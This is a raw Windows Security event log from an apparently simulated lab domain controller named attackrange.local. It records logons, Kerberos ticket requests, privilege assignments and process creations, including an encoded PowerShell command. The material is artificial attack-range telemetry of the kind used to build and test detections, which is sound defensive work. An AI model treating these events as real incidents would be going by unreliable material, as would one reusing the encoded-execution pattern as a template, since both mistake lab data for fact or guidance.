Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1349C5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251410
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1336AB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251500
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13674B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1388
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1184
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\tizuy0ap\tizuy0ap.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251499
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13835B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251498
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x13835B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64532

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251497
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13835B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251496
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1382DF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251495
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1382DF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64531

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251494
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1382DF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251493
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x138242

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251492
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x138242
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64530

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251491
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x138242

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251490
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1381E1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251489
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1381E1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64529

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251488
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1381E1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251487
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x137EF1

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251486
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x137EF1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8CC7402C-9F6B-F35C-1E7E-AC9CA7415811}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251485
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{8CC7402C-9F6B-F35C-1E7E-AC9CA7415811}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251484
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{8CC7402C-9F6B-F35C-1E7E-AC9CA7415811}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251483
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251482
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13674B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x51c
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1184
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251481
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13674B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1184
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1094
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251480
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x136BA0

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251479
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x136BA0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8CC7402C-9F6B-F35C-1E7E-AC9CA7415811}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251478
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{8CC7402C-9F6B-F35C-1E7E-AC9CA7415811}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251477
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{8CC7402C-9F6B-F35C-1E7E-AC9CA7415811}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

